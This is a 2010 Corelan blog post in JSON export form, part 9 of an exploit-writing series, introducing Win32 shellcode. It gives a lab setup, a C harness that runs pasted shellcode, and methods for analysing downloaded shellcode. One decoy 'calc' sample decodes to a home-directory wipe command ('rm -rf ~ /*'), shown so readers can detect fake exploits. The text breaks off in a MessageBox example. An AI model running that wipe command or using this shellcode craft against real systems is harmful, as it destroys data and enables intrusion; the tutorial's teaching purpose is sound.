{"id":2830,"date":"2010-02-25T17:21:00","date_gmt":"2010-02-25T16:21:00","guid":{"rendered":"http:\/\/www.corelan.be:8800\/?p=2830"},"modified":"2010-02-25T17:21:00","modified_gmt":"2010-02-25T16:21:00","slug":"exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding","status":"publish","type":"post","link":"https:\/\/www.corelan.be\/index.php\/2010\/02\/25\/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding\/","title":{"rendered":"Exploit writing tutorial part 9 : Introduction to Win32 shellcoding"},"content":{"rendered":"<p>Over the last couple of months, I have written a set of tutorials about building exploits that target the Windows stack. One of the primary goals of anyone writing an exploit is to modify the normal execution flow of the application and trigger the application to run arbitrary code\u2026 code that is injected by the attacker and that could allow the attacker to take control of the computer running the application.<\/p>\n<p>This type of code is often called &quot;shellcode&quot;, because one of the most used targets of running arbitrary code is to allow an attacker to get access to a remote shell \/ command prompt on the host, which will allow him\/her to take further control of the host. <\/p>\n<p>While this type of shellcode is still used in a lot of cases, tools such as Metasploit have taken this concept one step further and provide frameworks to make this process easier.&#160; Viewing the desktop, sniffing data from the network, dumping password hashes or using the owned device to attack hosts deeper into the network, are just some examples of what can be done with the Metasploit meterpreter payload\/console. People are creative, that\u2019s for sure\u2026 and that leads to some <a href=\"http:\/\/relentless-coding.blogspot.com\/2010\/02\/screen-unlock-meterpreter-script.html\" target=\"_blank\" rel=\"noopener\">really nice stuff<\/a>.<\/p>\n<p>The reality is that all of this is \u201cjust\u201d a variation on what you can do with shellcode.&#160; That is, complex shellcode, staged shellcode, but still shellcode.<\/p>\n<p>Usually, when people are in the process of building an exploit, they tend to try to use some simple\/small shellcode first, just to prove that they can inject code and get it executed.&#160; The most well known and commonly used example is spawning calc.exe or something like that.&#160; Simple code, short, fast and does not require a lot of set up to work. (In fact, every time Windows calculator pops up on my screen, my wife cheers\u2026 even when I launched calc myself \ud83d\ude42 )<\/p>\n<p>In order to get a \u201cpop calc\u201d shellcode specimen, most people tend to use the already available shellcode generators in Metasploit, or copy ready made code from other exploits on the net\u2026 just because it\u2019s available and it works.&#160; (Well, I don\u2019t recommend using shellcode that was found on the net for <a href=\"http:\/\/blog.zoller.lu\/2009\/07\/0pen0wnc-shellcode-dissasembled.html\" target=\"_blank\" rel=\"noopener\">obvious<\/a>&#160;<a href=\"http:\/\/isc.sans.org\/diary.html?storyid=8185\" target=\"_blank\" rel=\"noopener\">reasons<\/a>). Frankly, there\u2019s nothing wrong with Metasploit.&#160; In fact the payloads available in Metasploit are the result of hard work and dedication, sheer craftsmanship by a lot of people. These guys deserve all respect and credits for that. Shellcoding is not just applying techniques, but requires a lot of knowledge, creativity and skills. It is not hard to write shellcode, but it is truly an art to write good shellcode.<\/p>\n<p>In most cases, the Metasploit (and other publicly available) payloads will be able to fulfill your needs and should allow you to prove your point - that you can own a machine because of a vulnerability.<\/p>\n<p>Nevertheless, today we\u2019ll look at how you can write your own shellcode and how to get around certain restrictions that may stop the execution of your code (null bytes et al).<\/p>\n<p>A lot of papers and books have been written on this subject, and some really excellent websites are dedicated to the subject. But since I want to make this tutorial series as complete as possible, I decided to combine some of that information, throw in my 2 cents, and write my own \u201cintroduction to win32 shellcoding\u201d. <\/p>\n<p>I think it is really important for exploit builders to understand what it takes to build good shellcode. The goal is not to tell people to write their own shellcode, but rather to understand how shellcode works (knowledge that may come handy if you need to figure out why certain shellcode does not work) , and write their own if there is a specific need for certain shellcode functionality, or modify existing shellcode if required.<\/p>\n<p>This paper will only cover existing concepts, allowing you to understand what it takes to build and use custom shellcode\u2026 it does not contain any new techniques or new types of shellcode - but I\u2019m sure you don\u2019t mind at this point.<\/p>\n<p>If you want to read other papers about shellcoding, check out the following links :<\/p>\n<ul>\n<li><a href=\"http:\/\/en.wikipedia.org\/wiki\/Shellcode\" target=\"_blank\" rel=\"noopener\">Wikipedia<\/a> <\/li>\n<li>Skylined <\/li>\n<li><a href=\"http:\/\/projectshellcode.com\/\" target=\"_blank\" rel=\"noopener\">Project Shellcode<\/a> \/ <a href=\"http:\/\/projectshellcode.com\/?q=node\/12\" target=\"_blank\" rel=\"noopener\">tutorials<\/a> <\/li>\n<li><a href=\"http:\/\/www.shell-storm.org\/shellcode\/\" target=\"_blank\" rel=\"noopener\">Shell-storm<\/a> <\/li>\n<li><a href=\"http:\/\/www.phrack.org\/issues\/62\/7.html#article\" target=\"_blank\" rel=\"noopener\">Phrack<\/a> <\/li>\n<li><a href=\"http:\/\/www.hick.org\/code\/skape\/papers\/win32-shellcode.pdf\" target=\"_blank\" rel=\"noopener\">Skape<\/a> <\/li>\n<li><a href=\"http:\/\/packetstormsecurity.org\/papers\/shellcode\/\" target=\"_blank\" rel=\"noopener\">Packetstormsecurity shellcode papers<\/a> \/ <a href=\"http:\/\/packetstormsecurity.org\/shellcode\/\" target=\"_blank\" rel=\"noopener\">archive<\/a> <\/li>\n<li><a href=\"https:\/\/web.archive.org\/web\/20110521083239\/http:\/\/www.amenext.com:80\/tutorials\/advanced-shellcoding-techniques\/\" target=\"_blank\" rel=\"noopener\">Amenext.com<\/a> <\/li>\n<li><a href=\"http:\/\/www.vividmachines.com\/shellcode\/shellcode.html\" target=\"_blank\" rel=\"noopener\">Vividmachines.com<\/a> <\/li>\n<li><a href=\"http:\/\/undocumented.ntinternals.net\/\" target=\"_blank\" rel=\"noopener\">NTInternals.net (undocumented functions for Microsoft Windows)<\/a> <\/li>\n<li><a href=\"http:\/\/blog.didierstevens.com\/programs\/shellcode\/\" target=\"_blank\" rel=\"noopener\">Didier Stevens<\/a> <\/li>\n<li><a href=\"https:\/\/web.archive.org\/web\/20100404082840\/http:\/\/www.harmonysecurity.com:80\/blog\/\" target=\"_blank\" rel=\"noopener\">Harmonysecurity<\/a> <\/li>\n<li><a href=\"http:\/\/www.secdev.org\/projects\/shellforge\/\" target=\"_blank\" rel=\"noopener\">Shellforge (convert c to shellcode) - for linux<\/a> <\/li>\n<\/ul>\n<p>&#160;<\/p>\n<h3>The basics - building the shellcoding lab<\/h3>\n<p>Every shellcode is nothing more than a little application - a series of instructions written by a human being, designed to do exactly what that developer wanted it to do.&#160; It could be anything, but it is clear that as the actions inside the shellcode become more complex, the bigger the final shellcode most likely will become.&#160; This will present other challenges (such as making the code fit into the buffer we have at our disposal when writing the exploit, or just making the shellcode work reliably\u2026 We\u2019ll talk about that later on)<\/p>\n<p>When we look at shellcode in the format it is used in an exploit, we only see bytes.&#160; We know that these bytes form assembly\/CPU instructions, but what if we wanted to write our own shellcode\u2026 Do we have to master assembly and write these instructions in asm?&#160; Well, it helps a lot. But if you only want to get your own custom code to execute, one time, on a specific system, then you may be able to do so with limited asm knowledge.&#160; I am not a big asm expert myself, so if I can do it - you can do it for sure.<\/p>\n<p>Writing shellcode for the Windows platform will require us to use the Windows API\u2019s.&#160; How this impacts the development of reliable shellcode (or shellcode that is portable, that works across different versions\/service packs levels of the OS) will be discussed later in this document.<\/p>\n<p>Before we can get started, let\u2019s build our lab:<\/p>\n<ul>\n<li>C\/C++ compiler : lcc-win32, <a href=\"http:\/\/www.bloodshed.net\/devcpp.html\" target=\"_blank\" rel=\"noopener\">dev-c++<\/a>, <a href=\"http:\/\/www.microsoft.com\/express\/Downloads\/#2008-Visual-CPP\" target=\"_blank\" rel=\"noopener\">MS Visual Studio Express C++<\/a> <\/li>\n<li>Assembler : <a href=\"http:\/\/www.nasm.us\/pub\/nasm\/releasebuilds\/?C=M;O=D\" target=\"_blank\" rel=\"noopener\">nasm<\/a> <\/li>\n<li>Debugger : Immunity Debugger <\/li>\n<li>Decompiler : <a href=\"http:\/\/www.hex-rays.com\/idapro\/idadownfreeware.htm\" target=\"_blank\" rel=\"noopener\">IDA Free<\/a> (or Pro if you have a license :-)) <\/li>\n<li><a href=\"http:\/\/www.activestate.com\/activeperl\/downloads\/\" target=\"_blank\" rel=\"noopener\">ActiveState Perl<\/a> (required to run some of the scripts that are used in this tutorial). I am using Perl 5.8 <\/li>\n<li><a href=\"http:\/\/www.metasploit.com\" target=\"_blank\" rel=\"noopener\">Metasploit<\/a>&#160; <\/li>\n<li>Skylined <a href=\"http:\/\/code.google.com\/p\/alpha3\/\" target=\"_blank\" rel=\"noopener\">alpha3<\/a>, <a href=\"http:\/\/code.google.com\/p\/testival\/\" target=\"_blank\" rel=\"noopener\">testival<\/a>, <a href=\"http:\/\/code.google.com\/p\/beta3\/\" target=\"_blank\" rel=\"noopener\">beta3<\/a>&#160; <\/li>\n<li>A little C application to test shellcode : (shellcodetest.c) <\/li>\n<\/ul>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\"><span style=\"color: #0000ff\">char<\/span> code[] = &quot;<span style=\"color: #8b0000\">paste your shellcode here<\/span>&quot;;\n\n<span style=\"color: #0000ff\">int<\/span> main(<span style=\"color: #0000ff\">int<\/span> argc, <span style=\"color: #0000ff\">char<\/span> **argv)\n{\n   <span style=\"color: #0000ff\">int<\/span> (*func)();\n   func = (<span style=\"color: #0000ff\">int<\/span> (*)()) code;\n   (<span style=\"color: #0000ff\">int<\/span>)(*func)();\n}<\/pre>\n<blockquote>\n<p>Install all of these tools first before working your way through this tutorial !&#160; Also, keep in mind that I wrote this tutorial on XP SP3, so some addresses may be different if you are using a different version of Windows.<\/p>\n<\/blockquote>\n<p>In addition to these tools and scripts, you\u2019ll also need some healthy brains, good common sense and the ability to read\/understand\/write some basic perl\/C code + Basic knowledge about assembly.<\/p>\n<p>&#160;<\/p>\n<p>You can download the scripts that will be used in this tutorial here :<\/p>\n<p>[download id=56]56[\/download]<\/p>\n<p>&#160;<\/p>\n<h3>Testing existing shellcode<\/h3>\n<p>Before looking at how shellcode is built, I think it\u2019s important to show some techniques to test ready-made shellcode or test your own shellcode while you are building it.<\/p>\n<p>Furthermore, this technique can (and should) be used to see what certain shellcode does before you run it yourself (which really is a requirement if you want to evaluate shellcode that was taken from the internet somewhere without breaking your own systems)<\/p>\n<p>Usually, shellcode is presented in opcodes, in an array of bytes that is found for example inside an exploit script, or generated by Metasploit (or generated yourself - see later)<\/p>\n<p>How can we test this shellcode &amp; evaluate what it does ?<\/p>\n<p>First, we need to convert these bytes into instructions so we can see what it does.<\/p>\n<p>There are 2 approaches to it :<\/p>\n<ul>\n<li>Convert static bytes\/opcodes to instructions and read the resulting assembly code.&#160;&#160; The advantage is that you don\u2019t necessarily need to run the code to see what it really does (which is a requirement when the shellcode is decoded at runtime) <\/li>\n<li>Put the bytes\/opcodes in a simple script (see C source above), make\/compile, and run through a debugger.&#160; Make sure to set the proper breakpoints (or just prepend the code with 0xcc) so the code wouldn\u2019t just run. After all, you only want to figure out what the shellcode does, without having to run it yourself (and find out that it was fake and designed to destroy your system). This is clearly a better method, but it is also a lot more dangerous because one simple mistake on your behalf can ruin your system. <\/li>\n<\/ul>\n<p>&#160;<\/p>\n<h4>Approach 1 : static analysis<\/h4>\n<p><strong><u>Example 1<\/u><\/strong> : <\/p>\n<p>Suppose you have found this shellcode on the internet and you want to know what it does before you run the exploit yourself :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\"><span style=\"color: #008000\">\/\/this will spawn calc.exe <\/span>\nchar shellcode[] =\n&quot;<span style=\"color: #8b0000\">\\x72\\x6D\\x20\\x2D\\x72\\x66\\x20\\x7e\\x20<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x2F\\x2A\\x20\\x32\\x3e\\x20\\x2f\\x64\\x65<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x76\\x2f\\x6e\\x75\\x6c\\x6c\\x20\\x26<\/span>&quot;;<\/pre>\n<p>Would you trust this code, just because it says that it will spawn calc.exe ?<\/p>\n<p>Let\u2019s see. Use the following script to write the opcodes to a binary file :<\/p>\n<p>pveWritebin.pl :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">#!\/usr\/bin\/perl\n# Perl script written by Peter Van Eeckhoutte\n# http:<span style=\"color: #008000\">\/\/www.corelan.be<\/span>\n# This script takes a filename as argument\n# will <span style=\"color: #0000ff\">write<\/span> bytes in \\x <span style=\"color: #0000ff\">format<\/span> to the file \n#\n<span style=\"color: #0000ff\">if<\/span> ($#ARGV ne 0) { \n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">  usage: $0 <\/span>&quot;.<span style=\"color: #0000ff\">chr<\/span>(34).&quot;<span style=\"color: #8b0000\">output filename<\/span>&quot;.<span style=\"color: #0000ff\">chr<\/span>(34).&quot;<span style=\"color: #8b0000\">\\n<\/span>&quot;; \n<span style=\"color: #0000ff\">exit<\/span>(0); \n} \n<span style=\"color: #0000ff\">system<\/span>(&quot;<span style=\"color: #8b0000\">del $ARGV[0]<\/span>&quot;);\n<span style=\"color: #0000ff\">my<\/span> $shellcode=&quot;<span style=\"color: #8b0000\">You forgot to paste <\/span>&quot;.\n&quot;<span style=\"color: #8b0000\">your shellcode in the pveWritebin.pl<\/span>&quot;.\n&quot;<span style=\"color: #8b0000\">file<\/span>&quot;;\n\n#<span style=\"color: #0000ff\">open<\/span> file in binary mode\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">Writing to <\/span>&quot;.$ARGV[0].&quot;<span style=\"color: #8b0000\">\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">open<\/span>(FILE,&quot;<span style=\"color: #8b0000\">&gt;$ARGV[0]<\/span>&quot;);\n<span style=\"color: #0000ff\">binmode<\/span> FILE;\n<span style=\"color: #0000ff\">print<\/span> FILE $shellcode;\n<span style=\"color: #0000ff\">close<\/span>(FILE);\n\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">Wrote <\/span>&quot;.<span style=\"color: #0000ff\">length<\/span>($shellcode).&quot;<span style=\"color: #8b0000\"> bytes to file\\n<\/span>&quot;;<\/pre>\n<p>Paste the shellcode into the perl script and run the script :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">#!\/usr\/bin\/perl\n# Perl script written by Peter Van Eeckhoutte\n# http:<span style=\"color: #008000\">\/\/www.corelan.be<\/span>\n# This script takes a filename as argument\n# will <span style=\"color: #0000ff\">write<\/span> bytes in \\x <span style=\"color: #0000ff\">format<\/span> to the file \n#\n<span style=\"color: #0000ff\">if<\/span> ($#ARGV ne 0) { \n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">  usage: $0 <\/span>&quot;.<span style=\"color: #0000ff\">chr<\/span>(34).&quot;<span style=\"color: #8b0000\">output filename<\/span>&quot;.<span style=\"color: #0000ff\">chr<\/span>(34).&quot;<span style=\"color: #8b0000\">\\n<\/span>&quot;; \n<span style=\"color: #0000ff\">exit<\/span>(0); \n} \n<span style=\"color: #0000ff\">system<\/span>(&quot;<span style=\"color: #8b0000\">del $ARGV[0]<\/span>&quot;);\n<span style=\"color: #0000ff\">my<\/span> $shellcode=&quot;<span style=\"color: #8b0000\">\\x72\\x6D\\x20\\x2D\\x72\\x66\\x20\\x7e\\x20<\/span>&quot;.\n&quot;<span style=\"color: #8b0000\">\\x2F\\x2A\\x20\\x32\\x3e\\x20\\x2f\\x64\\x65<\/span>&quot;.\n&quot;<span style=\"color: #8b0000\">\\x76\\x2f\\x6e\\x75\\x6c\\x6c\\x20\\x26<\/span>&quot;;\n\n#<span style=\"color: #0000ff\">open<\/span> file in binary mode\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">Writing to <\/span>&quot;.$ARGV[0].&quot;<span style=\"color: #8b0000\">\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">open<\/span>(FILE,&quot;<span style=\"color: #8b0000\">&gt;$ARGV[0]<\/span>&quot;);\n<span style=\"color: #0000ff\">binmode<\/span> FILE;\n<span style=\"color: #0000ff\">print<\/span> FILE $shellcode;\n<span style=\"color: #0000ff\">close<\/span>(FILE);\n\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">Wrote <\/span>&quot;.<span style=\"color: #0000ff\">length<\/span>($shellcode).&quot;<span style=\"color: #8b0000\"> bytes to file\\n<\/span>&quot;;<\/pre>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">C:\\shellcode&gt;perl pveWritebin.pl c:\\tmp\\shellcode.bin\nWriting to c:\\tmp\\shellcode.bin\nWrote 26 bytes to file<\/pre>\n<p>The first thing you should do, even before trying to disassemble the bytes, is look at the contents of this file.&#160; Just looking at the file may already rule out the fact that this may be a fake exploit or not.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">C:\\shellcode&gt;type c:\\tmp\\shellcode.bin\nrm -rf ~ \/* 2&gt; \/dev\/null &amp;\nC:\\shellcode&gt;<\/pre>\n<p>=&gt; hmmm - this one may have caused issues. In fact if you would have run the exploit this shellcode was taken from, on a Linux system, you may have blown up your own system.&#160; (That is, if a syscall would have called this code and executed it on your system)<\/p>\n<p>Alternatively, you can also use the \u201cstrings\u201d command in linux (as explained <a href=\"https:\/\/web.archive.org\/web\/20201030165107\/http:\/\/blog.xanda.org\/2010\/02\/07\/yet-another-fake-exploit\/\" target=\"_blank\" rel=\"noopener\">here<\/a>). Write the entire shellcode bytes to a file and then run \u201cstrings\u201d on it :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">xxxx@bt4:\/tmp# strings shellcode.bin\nrm -rf ~ <span style=\"color: #008000\">\/* 2&gt; \/dev\/null &amp;\n<\/span><\/pre>\n<p><u>Added on feb 26 2010 <\/u>: Skylined also pointed out that we can use Testival \/ Beta3 to evaluate shellcode as well<\/p>\n<p>Beta3 :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">BETA3 --decode \\x\n&quot;<span style=\"color: #8b0000\">\\x72\\x6D\\x20\\x2D\\x72\\x66\\x20\\x7e\\x20<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x2F\\x2A\\x20\\x32\\x3e\\x20\\x2f\\x64\\x65<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x76\\x2f\\x6e\\x75\\x6c\\x6c\\x20\\x26<\/span>&quot;;\n^Z\nChar 0 @0x00 does not match encoding: '&quot;<span style=\"color: #8b0000\">'.\n<\/span>Char 37 @0x25 does not match encoding: '&quot;<span style=\"color: #8b0000\">'.\n<\/span>Char 38 @0x26 does not match encoding: '\\n'.\nChar 39 @0x27 does not match encoding: '&quot;<span style=\"color: #8b0000\">'.\n<\/span>Char 76 @0x4C does not match encoding: '&quot;<span style=\"color: #8b0000\">'.\n<\/span>Char 77 @0x4D does not match encoding: '\\n'.\nChar 78 @0x4E does not match encoding: '&quot;<span style=\"color: #8b0000\">'.\n<\/span>Char 111 @0x6F does not match encoding: '&quot;<span style=\"color: #8b0000\">'.\n<\/span>Char 112 @0x70 does not match encoding: ';'.\nChar 113 @0x71 does not match encoding: '\\n'.\nrm -rf ~ <span style=\"color: #008000\">\/* 2&gt; \/dev\/null &amp;\n<\/span><\/pre>\n<p>Testival can be used to actually run the shellcode - which is - of course - dangerous when you are trying to find out what some obscure shellcode really does\u2026. but it still will be helpful if you are testing your own shellcode.<\/p>\n<p>&#160;<\/p>\n<p><strong><u>Example 2 :<\/u><\/strong><\/p>\n<p>What about this one :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\"># Metasploit generated \u2013 calc.exe \u2013 x86 \u2013 Windows XP Pro SP2\nmy $shellcode=&quot;\\x68\\x97\\x4C\\x80\\x7C\\xB8&quot;.\n&quot;\\x4D\\x11\\x86\\x7C\\xFF\\xD0&quot;;<\/pre>\n<p>Write the shellcode to file and look at the contents :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">C:\\shellcode&gt;perl pveWritebin.pl c:\\tmp\\shellcode.bin\nWriting to c:\\tmp\\shellcode.bin\nWrote 12 bytes to file\n\nC:\\shellcode&gt;type c:\\tmp\\shellcode.bin\nh\u00f9L\u00c7|?M?\u00e5| ?\nC:\\shellcode&gt;<\/pre>\n<p>Let\u2019s disassemble these bytes into instructions :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">C:\\shellcode&gt;&quot;c:\\program files\\nasm\\ndisasm.exe&quot; -b 32 c:\\tmp\\shellcode.bin\n00000000  68974C807C        push dword 0x7c804c97\n00000005  B84D11867C        mov eax,0x7c86114d\n0000000A  FFD0              call eax<\/pre>\n<p>You don\u2019t need to run this code to figure out what it will do.<\/p>\n<p>If the exploit is indeed written for Windows XP Pro SP2 then this will happen :<\/p>\n<p>at 0x7c804c97 on XP SP2, we find (windbg output) :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0:001&gt; d 0x7c804c97\n7c804c97 57 72 69 74 65 00 42 61-73 65 43 68 65 63 6b 41 <strong><font color=\"#ff0000\">Write<\/font><\/strong>.BaseCheckA\n7c804ca7 70 70 63 6f 6d 70 61 74-43 61 63 68 65 00 42 61 ppcompatCache.Ba\n7c804cb7 73 65 43 6c 65 61 6e 75-70 41 70 70 63 6f 6d 70 seCleanupAppcomp\n7c804cc7 61 74 43 61 63 68 65 00-42 61 73 65 43 6c 65 61 atCache.BaseClea\n7c804cd7 6e 75 70 41 70 70 63 6f-6d 70 61 74 43 61 63 68 nupAppcompatCach\n7c804ce7 65 53 75 70 70 6f 72 74-00 42 61 73 65 44 75 6d eSupport.BaseDum\n7c804cf7 70 41 70 70 63 6f 6d 70-61 74 43 61 63 68 65 00 pAppcompatCache.\n7c804d07 42 61 73 65 46 6c 75 73-68 41 70 70 63 6f 6d 70 BaseFlushAppcomp<\/pre>\n<p>So push dword 0x7c804c97 will push \u201cWrite\u201d onto the stack<\/p>\n<p>Next, 0x7c86114d is moved into eax and a call eax is made. At 0x7c86114d, we find :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0:001&gt; ln 0x7c86114d\n(7c86114d) kernel32!WinExec | (7c86123c) kernel32!`string'\nExact matches:\nkernel32!WinExec =<\/pre>\n<p>Conclusion : this code will execute \u201cwrite\u201d&#160; (=wordpad).<\/p>\n<p>&#160;<\/p>\n<p>If the \u201cWindows XP Pro SP2\u201d indicator is not right, this will happen (example on XP SP3) :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0:001&gt; d 0x7c804c97\n7c804c97  62 4f 62 6a 65 63 74 00-41 74 74 61 63 68 43 6f  <font color=\"#ff0000\"><strong>bObj<\/strong><\/font>ect.AttachCo\n7c804ca7  6e 73 6f 6c 65 00 42 61-63 6b 75 70 52 65 61 64  nsole.BackupRead\n7c804cb7  00 42 61 63 6b 75 70 53-65 65 6b 00 42 61 63 6b  .BackupSeek.Back\n7c804cc7  75 70 57 72 69 74 65 00-42 61 73 65 43 68 65 63  upWrite.BaseChec\n7c804cd7  6b 41 70 70 63 6f 6d 70-61 74 43 61 63 68 65 00  kAppcompatCache.\n7c804ce7  42 61 73 65 43 6c 65 61-6e 75 70 41 70 70 63 6f  BaseCleanupAppco\n7c804cf7  6d 70 61 74 43 61 63 68-65 00 42 61 73 65 43 6c  mpatCache.BaseCl\n7c804d07  65 61 6e 75 70 41 70 70-63 6f 6d 70 61 74 43 61  eanupAppcompatCa\n0:001&gt; ln 0x7c86114d \n(7c86113a)   kernel32!NumaVirtualQueryNode+0x13   \n|  (7c861437)   kernel32!GetLogicalDriveStringsW<\/pre>\n<p>That doesn\u2019t seem to do anything productive \u2026<\/p>\n<p>&#160;<\/p>\n<p>&#160;<\/p>\n<h4>Approach 2 : run time analysis<\/h4>\n<p>When payload\/shellcode was encoded (as you will learn later in this document), or - in general - the instructions produced by the disassembly may not look very useful at first sight\u2026 then we may need to take it one step further.&#160; If for example an encoder was used, then you will very likely see a bunch of bytes that don\u2019t make any sense when converted to asm, because they are in fact just encoded data that will be used by the decoder loop, in order to produce the original shellcode again.<\/p>\n<p>You can try to simulate the decoder loop by hand, but it will take a long time to do so.&#160; You can also run the code, paying attention to what happens and using breakpoints to block automatic execution (to avoid disasters).<\/p>\n<p>This technique is not without danger and requires you to stay focused and understand what the next instruction will do. So I won\u2019t explain the exact steps to do this right now. As you go through the rest of this tutorial, examples will be given to load shellcode in a debugger and run it step by step.<\/p>\n<p>Just remember this :<\/p>\n<ul>\n<li>Disconnect from the network <\/li>\n<li>Take notes as you go <\/li>\n<li>Make sure to put a breakpoint right before the shellcode will be launched, before running the testshellcode application (you\u2019ll understand what I mean in a few moments) <\/li>\n<li>Don\u2019t just run the code. Use F7 (Immunity) to step through each instruction.&#160; Every time you see a call\/jmp\/\u2026 instruction (or anything that would redirect the instruction to somewhere else), then try to find out first what the call\/jmp\/\u2026 will do before you run it.&#160;&#160; <\/li>\n<li>If a decoder is used in the shellcode, try to locate the place where the original shellcode is reproduced (this will be either right after the decoder loop or in another location referenced by one of the registers).&#160; After reproducing the original code, usually a jump to this code will be made or (in case the original shellcode was reproduced right after the loop), the code will just get executed when a certain compare operation result changes to what it was during the loop.&#160; At that point, do NOT run the shellcode yet. <\/li>\n<li>When the original shellcode was reproduced, look at the instructions and try to simulate what they will do without running the code. <\/li>\n<li>Be careful and be prepared to wipe\/rebuild your system if you get owned anyway \ud83d\ude42 <\/li>\n<\/ul>\n<p>&#160;<\/p>\n<p>&#160;<\/p>\n<h3>From C to Shellcode<\/h3>\n<p>Ok, let\u2019s get really started now.&#160;&#160; Let\u2019s say we want to build shellcode that displays a MessageBox with the text \u201cYou have been pwned by Corelan\u201d. I know, this may not be very useful in a real life exploit, but it will show you the basic techniques you need to master before moving on to writing \/ modifying more complex shellcode.<\/p>\n<p>To start with, we\u2019ll write the code in C. For the sake of this tutorial, I have decided to use the lcc-win32 compiler. If you decided to use another compiler then the concepts and final results should be more or less the same. <\/p>\n<h4>From C to executable to asm<\/h4>\n<p>Source (corelan1.c) :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">#include &lt;windows.h&gt;\n\n<span style=\"color: #0000ff\">int<\/span> main(<span style=\"color: #0000ff\">int<\/span> argc, <span style=\"color: #0000ff\">char<\/span>** argv)\n{\n   MessageBox(NULL,\n             &quot;<span style=\"color: #8b0000\">You have been pwned by Corelan<\/span>&quot;,\n          &quot;<span style=\"color: #8b0000\">Corelan<\/span>&quot;,\n          MB_OK);\n\n}<\/pre>\n<p>Make &amp; Compile and then run the executable :<\/p>\n<p><a href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; 